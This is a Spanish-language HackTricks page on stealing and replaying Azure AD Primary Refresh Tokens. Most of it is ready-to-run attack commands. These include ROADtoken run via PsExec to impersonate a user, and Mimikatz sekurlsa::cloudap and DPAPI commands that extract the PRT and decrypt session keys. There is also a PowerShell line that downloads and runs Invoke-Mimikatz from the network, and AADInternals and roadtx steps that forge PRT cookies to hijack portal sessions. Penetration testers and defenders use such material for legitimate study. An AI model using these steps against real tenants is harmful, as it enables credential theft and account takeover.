Az - Pass the PRT

Apoya HackTricks

Qué es un PRT

Az - Primary Refresh Token (PRT)

Verificar si tienes un PRT

Dsregcmd.exe /status

En la sección de Estado de SSO, deberías ver el AzureAdPrt configurado en YES.

En la misma salida también puedes ver si el dispositivo está unido a Azure (en el campo AzureAdJoined):

El PRT cookie se llama en realidad x-ms-RefreshTokenCredential y es un JSON Web Token (JWT). Un JWT contiene 3 partes, el header, payload y signature, divididas por un . y todas codificadas en base64 segura para URL. Un PRT cookie típico contiene el siguiente header y body:

{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

El Primary Refresh Token (PRT) real está encapsulado dentro del refresh_token, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indescifrable para nosotros. El campo is_primary indica la encapsulación del primary refresh token dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, el request_nonce se transmite desde la página logon.microsoftonline.com.

El proceso LSASS enviará al TPM el KDF context, y el TPM usará la session key (obtenida cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para derivar una clave, y esta clave derivada se usa para firmar la cookie PRT (JWT).

El KDF context es un nonce de AzureAD y el PRT creando un JWT mezclado con un contexto (bytes aleatorios).

Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dentro del TPM, es posible abusar de LSASS para solicitar claves derivadas de nuevos contextos y usar las claves generadas para firmar Cookies.

Escenarios de Abuso de PRT

Como usuario regular es posible solicitar el uso de PRT pidiendo a LSASS datos de SSO. Esto se puede hacer como aplicaciones nativas que solicitan tokens del Web Account Manager (token broker). WAM pasa la solicitud a LSASS, que solicita tokens usando una afirmación PRT firmada. O se puede hacer con flujos basados en navegador (web) donde una cookie PRT se usa como header para autenticar solicitudes a las páginas de inicio de sesión de Azure AS.

Como SYSTEM podrías robar el PRT si no está protegido por TPM o interactuar con las claves PRT en LSASS usando APIs criptográficas.

Ejemplos de Ataques Pass-the-PRT

Ataque - ROADtoken

Para más información sobre esta técnica revisa este post. ROADtoken ejecutará BrowserCore.exe desde el directorio correcto y lo usará para obtener una cookie PRT. Esta cookie luego puede ser usada con ROADtools para autenticar y obtener un refresh token persistente.

Para generar una cookie PRT válida, lo primero que necesitas es un nonce. Puedes obtener esto con:

$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

O usando roadrecon:

roadrecon auth prt-init

Luego puedes usar roadtoken para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar):

.\ROADtoken.exe <nonce>

Como una sola línea:

Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Luego puedes usar la cookie generada para generar tokens para iniciar sesión usando Azure AD Graph o Microsoft Graph:

# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken obtiene el token PRT del usuario desde el equipo unido a Azure AD o Hybrid. Utiliza BrowserCore.exe para obtener el token PRT.

# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

O si tienes los valores de Mimikatz, también puedes usar AADInternals para generar un token:

# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Ve a https://login.microsoftonline.com, borra todas las cookies de login.microsoftonline.com e ingresa una nueva cookie.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Luego ve a https://portal.azure.com

El resto debería ser por defecto. Asegúrate de poder actualizar la página y que la cookie no desaparezca, si lo hace, es posible que hayas cometido un error y tengas que repetir el proceso. Si no desaparece, deberías estar bien.

Ataque - Mimikatz

Pasos

  1. El PRT (Primary Refresh Token) se extrae de LSASS (Local Security Authority Subsystem Service) y se almacena para su uso posterior.

  2. A continuación, se extrae la Session Key. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, es necesario descifrarla usando una DPAPI masterkey. Información detallada sobre DPAPI (Data Protection API) se puede encontrar en estos recursos: HackTricks y para entender su aplicación, consulta Pass-the-cookie attack.

  3. Después de descifrar la Session Key, se obtienen la derived key y el contexto para el PRT. Estos son cruciales para la creación de la cookie PRT. Específicamente, la derived key se emplea para firmar el JWT (JSON Web Token) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible aquí.

Ten en cuenta que si el PRT está dentro del TPM y no dentro de lsass mimikatz no podrá extraerlo. Sin embargo, será posible obtener una clave de una derived key de un contexto del TPM y usarla para firmar una cookie (ver opción 3).

Puedes encontrar una explicación en profundidad del proceso realizado para extraer estos detalles aquí: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

Esto no funcionará exactamente después de las correcciones de agosto de 2021 para obtener tokens PRT de otros usuarios, ya que solo el usuario puede obtener su PRT (un administrador local no puede acceder a los PRT de otros usuarios), pero puede acceder al suyo.

Puedes usar mimikatz para extraer el PRT:

mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Imágenes de https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Copia la parte etiquetada como Prt y guárdala. Extrae también la clave de sesión (el KeyValue del campo ProofOfPossesionKey) que puedes ver resaltado a continuación. Esto está cifrado y necesitaremos usar nuestras claves maestras DPAPI para descifrarlo.

Si no ves ningún dato PRT, podría ser que no tienes ningún PRT porque tu dispositivo no está unido a Azure AD o podría ser que estás usando una versión antigua de Windows 10.

Para descifrar la clave de sesión necesitas elevar tus privilegios a SYSTEM para ejecutar bajo el contexto del equipo y poder usar la clave maestra DPAPI para descifrarla. Puedes usar los siguientes comandos para hacerlo:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Opción 1 - Mimikatz Completo

  • Ahora quieres copiar tanto el valor de Context:

  • Y el valor de la clave derivada:

  • Finalmente, puedes usar toda esta información para generar cookies PRT:

Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

El resto deben ser los valores predeterminados. Asegúrate de poder actualizar la página y que la cookie no desaparezca; si lo hace, es posible que hayas cometido un error y debas repetir el proceso. Si no desaparece, deberías estar bien.

Opción 2 - roadrecon usando PRT

  • Renueva el PRT primero, lo que lo guardará en roadtx.prt:

roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Ahora podemos solicitar tokens usando el navegador interactivo con roadtx browserprtauth. Si usamos el comando roadtx describe, vemos que el token de acceso incluye una reclamación MFA porque el PRT que utilicé en este caso también tenía una reclamación MFA.

roadtx browserprtauth
roadtx describe < .roadtools_auth

Opción 3 - roadrecon usando claves derivadas

Teniendo el contexto y la clave derivada extraída por mimikatz, es posible usar roadrecon para generar una nueva cookie firmada con:

roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Referencias

Apoya HackTricks

Last updated